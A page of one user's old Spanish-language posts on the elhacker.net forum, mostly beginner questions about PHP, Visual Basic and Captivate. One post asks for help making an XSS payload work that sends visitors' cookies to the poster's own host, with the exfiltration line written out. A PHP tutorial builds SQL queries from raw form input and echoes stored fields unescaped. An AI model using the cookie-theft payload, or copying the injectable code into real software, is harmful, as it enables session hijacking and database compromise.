elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado:


  Mostrar Temas
Páginas: 1 [2] 3
11  Seguridad Informática / Nivel Web / [?] Duda XSS en: 29 Septiembre 2007, 12:51 pm
me borraron el anterior post donde pregunté esto.. fui a mirar las normas y lo único que incumplía era el no haber puesto el tag de duda "[?]" en el título así que vuelvo a preguntar:

en una web vulnerable de esta forma, "XSS in URI":

http://www.web.com/index.php/>"><script>alert(document.cookie)</script>

de esa manera aparece un alert diciendo la cookie
entonces, es vulnerable pero si pongo un alert diciendo hola por ejemplo, no funciona

http://www.web.com/index.php/>"><script>alert('hola')</script>

entonces,
 si intento robar la cookie de esta manera:

http://www.web.com/index.php/>"><script>window.location='http://miweb.com/gcookie.php?c='+document.cookie;</script>


No funciona, no se guarda la cookie ni sucede nada.

entonces , ésto porqué es ? ... y cómo puedo hacer para poder robar la cookie..
gracias.
12  Programación / PHP / [TUTORIAL]-Hacer un simple Sistema de Noticias en: 29 Diciembre 2006, 21:30 pm
- Pues como que me ha dado por aprender PHP... y pues estoy esperando pasandole una canción a una amiga por msn  ;D pues os voy a hacer aquí un tutorial de cómo hacer un simple sistema de noticias desde cero  :-*



[INTRODUCCIÓN]

  • El sistema de noticias que vamos a hacer va a ser MUY simple, es para aprender PHP simplemente y reforzar ideas.
  • El sistema de noticias que vamos a hacer hará uso de una base de datos, o sea que las noticias se guardarán en una base de datos MySQL


- El sistema de Noticias estará compuesto por únicamente dos archivos:

  • El formulario de envío de la noticia donde sale: "Título de la noticia" / "El texto de la noticia" / "Autor" y el botoncito de enviar para procesar la noticia.
    En este mismo archivo pondremos el código que hará que la noticia se guarde en la base de datos para que se muestre.
  • El archivo que mostrará las noticias que están guardadas en la base de datos.





[CREAR LA TABLA EN LA BASE DE DATOS DONDE SE GUARDARÁN LAS NOTICIAS]

- Para eso el host donde colgaremos/subiremos/pondremos nuestro sistema de noticias nos ha de proporcionar una base de datos, cabe recordar, que el sistema de noticias que vamos a hacer usa una base de datos.

- Por ejemplo gratishost (phoneacces.com) nos proporciona una base de datos.

- Yo os pondré el ejemplo de cómo crear una tabla en la base de datos partiendo desde un host que yo tengo suscrito en gratishost.






- Una vez ahí dentro de la base de datos, a la izquierda, buscamos este iconito:




- Y entonces, picamos ahí en ese iconito, que es para realizar una consulta SQL a través de la cual crearemos la tabla llamada noticias donde ahí se guardarán las noticias;




- El código que ponemos ahí para crear la tabla noticias es el siguiente:

Código:
create table `noticias` (
id int primary key auto_increment,
titulo varchar(255) not null,
noticia text not null,
autor varchar(255) not null,
fecha varchar(255) not null
);


- Lo explico:

create table `noticias` (
Crea una tabla con el nombre de noticias
/* esta tabla tendrá
5 campos */ --->

id int primary key auto_increment,
Crea un campo llamado id. El id es el número identificador, en este caso, el número que identificará cada noticia, y según si se crea una más, este número, va en incremento, aumenta.

titulo varchar(255) not null,
Crea un campo llamado titulo de tipo texto, el número de caracteres máximo permitido es de 255 y este campo, perfectamente puede estar vacío, ser "nulo".

noticia text not null,
Crea un campo llamado noticia que puede tener mucho texto, no hay límite de caracteres (si quieres ponerle, puedes).

autor varchar(255) not null,
Crea un campo llamado autor, el número de caracteres máximo permitido es de 255 y este campo, perfectamente puede estar vacío, ser "nulo".

fecha varchar(255) not null
Crea un campo llamado fecha, el número de caracteres máximo permitido es de 255 y este campo, perfectamente puede estar vacío, ser "nulo".

);
Fin de la consulta.

- Ok, ya tenemos la tabla noticias !!  ::)










[CREAR EL FORMULARIO PARA ENVIAR LAS NOTICIAS]

- Este formulario será un archivo llamado enviarnoticias.php.

- A este archivo se le tendría que poner protección un login o algo, para que si alguien , de casualidad descubriera este archivo para enviar las noticias, no pudiera enviar noticias así como si de su web se tratara.


- El formulario constará de:

  • Título de la noticia
  • Texto de la noticia
  • Autor

La fecha no la ponemos en el formulario porque la cogeremos directamente usando la función time() a la hora de ingresar la noticia en la base de datos.

- El código del formulario sería así:

Código:
<form action="enviarnoticias.php" method="POST">

Título de la noticia:<br>
<input type="text" name="titulo"><br>
<br>

Texto de la noticia:<br>
<textarea name="noticia"></textarea><br>
<br>

Autor:<br>
<input type="text" name="autor"><br>
<br>

<input type="submit" name="enviar" value="Enviar la noticia!">
</form>


- Y quedaría así en la web:



Precioso, ¿verdad?  ::) :P

Bueno, pues a ver, en este mismo archivo del formulario (enviarnoticias.php) hemos de poner el código "mágico"  :D que hará que la noticia se envíe a la base de datos.


- Sería este el código:

Citar
<?
if (isset($_POST['enviar'])) {
/* Tenemos que comprobar que el botoncito ha sido clickado */

   
if (!empty($_POST['titulo']) && !empty($_POST['noticia']) && !empty($_POST['autor'])) {
/* Hemos de comprobar que todos los campos estén rellenos para poder procesar la noticia, si estuviera alguno vacío no se enviaría y saldría "Rellena todos los campos!" */

   

$sql = "INSERT INTO `noticias` (titulo,noticia,autor,fecha) values";
/* definimos esas variables de la tabla para que correspondan con las del formulario que son las mismas... */

   

$sql.= "('".$_POST['titulo']."','".$_POST['noticia']."','autor','".time()."')"; /* este código recogerá los datos de los campos del formulario y los insertará en la base de datos */
   

if (mysql_query($sql)) {
/*si la conexión se ha efectuado sale que se ha enviado la noticia satisfactoriamente */

echo "La noticia se ha enviado satisfactoriamente.";

/* de lo contrario, si no se efectuara la conexión con la base de datos saldría "Error al enviar la noticia"   
} else {
echo "Error al enviar la noticia.";
}

   
/*en el caso de que faltaran campos por completar en el formulario... */
} else {
   
echo "Rellena todos los campos!!";
}
} else {}
?>



- El código por ahora quedaría así:

Citar
<?
if (isset($_POST['enviar'])) {
/* Tenemos que comprobar que el botoncito ha sido clickado */

   
if (!empty($_POST['titulo']) && !empty($_POST['noticia']) && !empty($_POST['autor'])) {
/* Hemos de comprobar que todos los campos estén rellenos para poder procesar la noticia, si estuviera alguno vacío no se enviaría y saldría "Rellena todos los campos!" */

   

$sql = "INSERT INTO `noticias` (titulo,noticia,autor,fecha) values";
/* definimos esas variables de la tabla para que correspondan con las del formulario que son las mismas... */

   

$sql.= "('".$_POST['titulo']."','".$_POST['noticia']."','autor','".time()."')"; /* este código recogerá los datos de los campos del formulario y los insertará en la base de datos */
   

if (mysql_query($sql)) {
/* si la conexión se ha efectuado sale que se ha enviado la noticia satisfactoriamente */

echo "La noticia se ha enviado satisfactoriamente.";

/* de lo contrario, si no se efectuara la conexión con la base de datos saldría "Error al enviar la noticia"   
} else {
echo "Error al enviar la noticia.";
}

   
/*en el caso de que faltaran campos por completar en el formulario... */
} else {
   
echo "Rellena todos los campos!!";
}
mysql_close($sql);
?>
<form action="enviarnoticias.php" method="POST">

Título de la noticia:<br>
<input type="text" name="titulo"><br>
<br>

Texto de la noticia:<br>
<textarea name="noticia"></textarea><br>
<br>

Autor:<br>
<input type="text" name="autor"><br>
<br>

<input type="submit" name="enviar" value="Enviar la noticia!">
</form>
<? } ?>


Pero está claro que en ningún momento hemos puesto los datos de la base de datos, entonces, cómo pretendemos conectarnos?!!!
 >:( >:( :huh: :huh: :-* :-X



Es por eso que tenemos que poner los datos de la base de datos, user, pass, nombre db, host.
es por eso que entonces,
el código final de noticiasenviar.php es este (con el código de la conexión a la base de datos añadido al principio):

Citar
<?
$dbhost = "localhost"; /* Has de poner el host de la db, en nuestro caso, en gratishost es localhost, ahí en los datos de nuestra cuenta salía , siempre en los datosde la cuenta del hosting, te proporcoinan estos datos */

$dbuser = "userdeladb"; /* el usuario para acceder a la base de datos */

$dbpass = "passdeladb"; /* la contraseña correspondiente al usuario para poder acceder a la base de datos */

$db = "nombredeladb" ; /* el nombre de la base de datos en nuestro caso , era: db_nombrehost_webspacemania_com , pero siempre lo podrás ver en los datos de la cuenta al igual que el usuario, password y host */

$conectar = mysql_connect($dbhost,$dbuser,$dbpass); mysql_select_db($db,$conectar);
/* se realiza la conexión con los datos obtenidos, para eso usamos la función sql mysql_connect() */

?>

<?

if (isset($_POST['enviar'])) {
/* Tenemos que comprobar que el botoncito ha sido clickado */

   
if (!empty($_POST['titulo']) && !empty($_POST['noticia']) && !empty($_POST['autor'])) {
/* Hemos de comprobar que todos los campos estén rellenos para poder procesar la noticia, si estuviera alguno vacío no se enviaría y saldría "Rellena todos los campos!" */



$sql = "INSERT INTO `noticias` (titulo,noticia,autor,fecha) values";
/* definimos esas variables de la tabla para que correspondan con las del formulario que son las mismas... */

   

$sql.= "('".$_POST['titulo']."','".$_POST['noticia']."','autor','".time()."')"; /* este código recogerá los datos de los campos del formulario y los insertará en la base de datos */
   

if (mysql_query($sql)) {
/* si la conexión se ha efectuado sale que se ha enviado la noticia satisfactoriamente */

echo "La noticia se ha enviado satisfactoriamente.";

/* de lo contrario, si no se efectuara la conexión con la base de datos saldría "Error al enviar la noticia"   
} else {
echo "Error al enviar la noticia.";
}

   
/*en el caso de que faltaran campos por completar en el formulario... */
} else {
   
echo "Rellena todos los campos!!";
}
mysql_close($sql);
?>
<form action="enviarnoticias.php" method="POST">

Título de la noticia:<br>
<input type="text" name="titulo"><br>
<br>

Texto de la noticia:<br>
<textarea name="noticia"></textarea><br>
<br>

Autor:<br>
<input type="text" name="autor"><br>
<br>

<input type="submit" name="enviar" value="Enviar la noticia!">
</form>










[CREAR LA PÁGINA DONDE SE MOSTRARÁN LAS NOTICIAS]

- A este archivo que muestre las noticias lo llamaremos noticias.php

- Simplemente hemos de crear un archivo con un código que nos muestre lo que hay en la tabla noticias de nuestra base de datos de manera limpia y ordenada...

  • Se extraen los datos de la base de datos
  • Se procesan dichos datos
  • Se muestran los datos

- Lo que haremos será que las noticias se muestren por orden de la más reciente, arriba, entonces, ¿cómo lo haremos?
Pues como bien recordaréis, a cada noticia se le da un número identificador, entonces, el número más grande va el primero y el ID 1 esta noticia, la primera, irá abajo del todo, o sea, lo haríamos de la siguiente manera con este código:

Citar
$query = @mysql_query("SELECT * FROM `noticias` ORDER BY `id` DESC");
véis, si os dais cuenta, ORDER BY 'id'
ahí es donde decimos que las muestre según el id.

Entonces, también se ha de comprobar si hay alguna noticia publicada para que en el caso de que no la haya, saliera "No hay noticias" para que no se quedara en blanco...

Y también, para que se mostraran las noticias, tenemos que hacer un bucle usando la función while() (mientras...)



- Entonces el código de noticias.php
sería algo así:

Código:
<?
$query = @mysql_query("SELECT * FROM `noticias` ORDER BY `id` DESC");
/* se ordenan según el id, explicado arriba */

if (@mysql_num_rows($query)) {
/* miramos a ver si hay algo publicado o no.... */



while ($noticia = @mysql_fetch_array($query)) {
/* para que se muestren las noticias una por una */





echo '<br> /* salto de línea */

/* sale el título de la noticia que
pusimos en el formulario */

<center><font face=verdana size=1 color=red><b>'.$noticia['titulo'].'</b></font><center><br><br>


/* sale todo el texto de la noticia
que pusimos en el
formulario */

<center><font face=verdana size=1><b>'.$noticia['noticia'].'</b></font><br><br>


/* Aquí se muestra que la noticia ha sido enviada por tal persona, y la fecha, pues sale la fecha en la que se ha enviado... */

<center><font face=verdana size=1 color=blue><b>Noticia enviada por '.$noticia['autor'].' || Fecha: '.$noticia</b></font>['fecha'].'</center><br>

<hr>';
}
} else {
echo "No hay noticias!!";
/* antes comprobamos para que mirara si hay noticias, pues esto es lo que saldría si no hubiera */
}
@mysql_free_result($noticia);
mysql_close($noticia);
?>


Y bueno, esto es todo !!   ::)
Espero que hayáis aprendido algo... yo sí... jeje  ;D
 ::)

Decidme si he puesto algo mal sobretodo porque no he prestado mucha atención a la hora de escribir los códigos >.<
13  Programación / PHP / Único voto en una encuesta mediante IP [PHP] en: 4 Noviembre 2006, 13:00 pm
Hola,

Apenas me voy iniciando en el PHP aunque anteriormente ya había echado mano del PHP, pero la mayoría de veces, haciendo copy/paste sin intención alguna de aprender php...

Bueno, me he bajado una encuesta muy simple (que se guardan los votos en un txt; votos.txt).

Y quiero hacer que solamente una ip pueda hacer un único voto,
me da igual que sea más efectivo que si cookies, que si hacer un sistema de usuarios.... pues yo lo quiero hacer mediante la obtención de la ip.

He probado varias cosas y sin resultado alguno... lo último que he probado ha sido esto:


Código:
<?php

$log = fopen("ip.txt", "a");

$ip  = $_SERVER['REMOTE_ADDR'];

fwrite($log, "".$ip."\n");


if (eregi($ip,$log)) {

echo "No puedes volver a votar, ya has votado anteriormente\n";

}

else {


include "configuracion.php";

function agregaVotacion($voto) { //funcion para agregar el voto
global $archivo;
$leer_votacion = fopen($archivo, "r");
$tu_voto = fread($leer_votacion, filesize($archivo));
fclose($leer_votacion);
$votos = split('[|:]', $tu_voto);
for ($i = 1; $i < count($votos); $i = $i + 2) {
$nombre = $i - 1;
if ($votos[$nombre] == $voto) {
$votos[$i]++;
}

if ($i == (count($votos) - 1)) {
$act_Voto .= $votos[$nombre] . ":" . $votos[$i];
}
else {
$act_Voto .= $votos[$nombre] . ":" . $votos[$i] . "|";
}
}

$escribe_archivo = fopen($archivo, "w");
fputs($escribe_archivo, $act_Voto);
fclose($escribe_archivo);
}


function mostrar($msgs) { //funcion para mostrar la votación y sus resultados
global $titulo, $archivo;

echo "<html>";
echo "<head>";
echo "<title>Resultados</title>";

global $clscr;
echo "</head>";
echo "<body>";


echo "<font face='Tahoma' size='2'>";
$leer_votacion = fopen($archivo, "r");
$tu_voto = fread($leer_votacion, filesize($archivo));
fclose($leer_votacion);
$votos = split('[|:]', $tu_voto);
echo "<u><b>Resultados</b></u><br>";

for ($i = 1; $i < count($votos); $i = $i + 2)
{
$total_votos += $votos[$i];
}

for ($i = 1; $i < count($votos); $i = $i + 2) {
$nombre = $i - 1;
if ($total_votos == 0) {
$porcnt = 0;
}
else {
$porcnt = $votos[$i] / $total_votos * 100;
$porcnt = round($porcnt, 1);
}

echo "<br>";
echo "\t$votos[$nombre] -> ";
echo "\t<b>$votos[$i]</b> votos <br>";


if ($porcnt == 0) {
echo "\t<img src=barra.jpg width=$porcnt height=15> <br><b>$porcnt%</b>";
}


else {
echo "\t<img src=barra.jpg width=$porcnt height=15> <br><b>$porcnt%</b> <br>";
}


echo "<br>";
}
echo "Total Votos: <b>$total_votos</b><br>";
if($clscr==1)
{
echo "<a href=javascript:window.close();>Cerrar</a>";
}
else
{
echo "<a href=javascript:history.back(-1);>Volver</a>";
}

if (isset($msgs)) {
echo "$msgs";
}
  echo "<br>";
echo "</body>";
echo "</html>";
}

if (!isset($voto)) {
mostrar("");
exit;
}

agregaVotacion($voto);
mostrar("");

}


?>




Pues resulta que se guarda la ip del votante en ip.txt pero aunque vuelva a votar y la ip sea existente en el ip.txt deja votar las veces que quiera aunque esté la misma ip en ip.txt varias veces...
He probado ya muchas cosas... de alterar los factores de orden... pero no encuentro resultado...

Citar
$log = fopen("ip.txt", "a");

$ip  = $_SERVER['REMOTE_ADDR'];

fwrite($log, "".$ip."\n");


if (eregi($ip,$log)) {

echo "No puedes volver a votar, ya has votado anteriormente\n";

}

else {

Con este trozo de código lo que pretendo es:

$log = fopen("ip.txt", "a");
se abre el ip.txt

$ip  = $_SERVER['REMOTE_ADDR'];
indicar que la variable ip almacena la dirección ip del votante

fwrite($log, "".$ip."\n");
se escribe la ip en ip.txt

if (eregi($ip,$log)) {
Aquí echo mano a la función eregi
http://es.php.net/eregi
/ Si la ip del votante está en ip.txt ...

echo "No puedes volver a votar, ya has votado anteriormente\n";
Aparece el mensaje de que no puede volver a votar...

else { ............. }
Y en el caso de que la ip del votante no esté en ip.txt deja votar...


Pero no me funciona.. si me podéis echar un cable.. seguro que tengo algo mal, pero la verdad es que he probado cambiando muchas cosas y siempre no me funciona...

O deja votar siempre sin salir el echo en ningú momento (el caso del código que os he copiado)
O siempre sale el echo dejando votar siempre
O siempre sale el echo sin dejar votar nunca
...


Venga, gracias de antemano ;)
14  Programación / Programación Visual Basic / Doble click automático al botón cada X '' en: 19 Junio 2006, 22:27 pm
Pues que no sé muy bien aún cómo hacer para que en un programa, que hay un botón cada x segundo se clickee dos veces el botón (sin tener que hacerlo yo)...


Si me podéis echar un cable...
15  Media / Multimedia / [AYUDA]Macromedia Captivate en: 18 Abril 2006, 23:03 pm
¿Cómo puedo hacer para guardar una grabación con extensión de flash? es decir, como flash?

Porque me sale solamente cuando pico en guardar:

como...

captivate movies (*.cp)
captivate templates (*.cptl)
16  Programación / Programación Visual Basic / ConexióN WinsocK - Duda en: 31 Enero 2006, 22:59 pm
 :-X
Estoy haciendo un programa para escuchar desde éste la radio de una web, para no tener que acceder a la web. Entonces, para que salga el status; estado de la radio... No lo tengo muy claro... había pensado esta forma:

1. poner un winsock
2. en las propiedades del winsock (en las propiedades que sale a la derecha) he puesto remoteip la ip de la radio, y remoteport, el puerto de la radio... y entonces, en el código del proyect he puesto que cuando el winsock conecte en el label1 salga (caption) ONLINE
y que cuando no conecte salga
offline

pero resulta que no sale nada... y me da a pensar que no conecta el winsock....... :S porque no sé muy bien cómo establecer la conexión, simplemente he puesto los "detalles" de la conexión a la derecha en las propiedades del winsock como bien os dije antes....

... Mi problema es que en el label no sale ni online ni offline...    :(

17  Programación / Programación Visual Basic / Duda pestañas VB en: 7 Enero 2006, 18:35 pm
Cuando creo un proyecto con pestañas;

( Project/components/Microsoft Windows Common Controls 6.0 SP6 )

MSCOMCTL.OCX

al guardar el proyecto, luego cuando lo abro,  no salen las pestañas
sale como en esta imagen:



y en el log del form1 sale esto:

Código:
Line 13: Class MSComctlLib.TabStrip of control TabStrip1 was not a loaded control class.
Line 19: The property name _ExtentX in TabStrip1 is invalid.
Line 20: The property name _ExtentY in TabStrip1 is invalid.
Line 21: The property name _Version in TabStrip1 is invalid.
Line 27: The property name Tabs in TabStrip1 is invalid.

[ es la primera vez que uso las pestañas ]

me gustaría que me dijérais como hacer para que al abrir el proyecto guardado salieran las pestañas.  ::)
18  Foros Generales / Sugerencias y dudas sobre el Foro / Tutorial-Poner imágenes en un post en: 12 Octubre 2005, 14:42 pm
Bueno he visto que hay varios temas que hacen referencia a lo que yo voy a explicar pero veo que nadie se entera...

Ok, voy a hacer como un "tutorial"  ;D




Ok, mirad por ejemplo tenemos una duda que creemos que va a ser mejor hacer un "pantallazo" "captura" o "imágen de nuestro pc" pues para capturar la pantalla de nuestro pc hay que pulsar una tecla llamada

Impr Pant PetSis

¿Dónde se encuentra esa tecla?
Pues se encuentra arriba de la tecla insert, si tenéis un postátil y el portátil no tiene esa tecla...

SOLUCIÓN: Hacer lo de "teclado en pantalla"

Ok, entonces si pulsamos la tecla impr pant petsis capturará la pantalla de nuestro pc entonces vamos al paint y hacemos:

control + v


ó

Edición/Pegar

Ok, entonces veréis que sale vuestra pantalla! perfe... ahi podéis expresar mejor vuestra duda... haciendo un círculo a "algo" poniendo comentarios...

entonces... cómo énseñar al querido púbilco de este foro vuestra imágen?...

1. Abriis el navegador
2. Entráis a www.imageshack.us
3. Una vez dentro de imageshack.us
picas en examinar tal y como muestra la imágen:



4. Una vez escogido el archivo a subir picas en:

Host it!



5. Se va cargando...
5. Una vez cargado te dan muchos links pues tú escoge el último !
Tal y como muestra la imágen:



Entonces una vez copiada esa url viene aqui al foro y en la respuesta que ibas a poner pones:

Código:
[IMG]aki la url copiada[/IMG]

Y entonces te saldrá la imágen! ;P guay, no? xD


Esto lo puedes hacer para poner aquí en el foro pantallazos y todo tipo de imágenes :D

Pero si por ejemplo hay una web que tiene una imágen que te gusta mucho y te da "palo"="pereza"="gosera" guardártela y subirla pues le das con el botón derecho a Propiedades y miras la url de la imágen la copias y haces el mismo proceso:

Código:
[IMG]aki la direccion[/IMG]


AlÉ ! que os cunda ! y no volvais a preguntar lo mismo mil veces...  ;D


19  Programación / Programación Visual Basic / Duda Numega SmartCheck en: 3 Octubre 2005, 18:23 pm
Mirad, mi duda es la siguiente:



Pero yo lo quiero modificar sobretodo para poder ver el code de cabecera entero y entonces, poder seguir cn mi proyecto... saludos  ;)
20  Programación / Ingeniería Inversa / Duda Language 2000 en: 2 Octubre 2005, 14:50 pm
Bueeeno, mirad, en el language, pongo que me abra una aplicación, todo perfe, entonces, pongo view y entonces intento ver MÁS O MENOS el code, porque sé que no es tan fácil sacar todo el code fuente de un programa hecho en VB6, pero mirad lo que me saca:

http://foros-sd.gratishost.com/des/ja.txt

[nota: lo he subido porque ponerlo aqui en el foro, no me dejaba, decía que excedía el tamaño]

Ok, me podéis orientar más o menos sobre qué provecho le puedo sacar a todo eso? exceptuando que se ha hecho servir winsock?

Saludos !  ;)
Páginas: 1 [2] 3
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines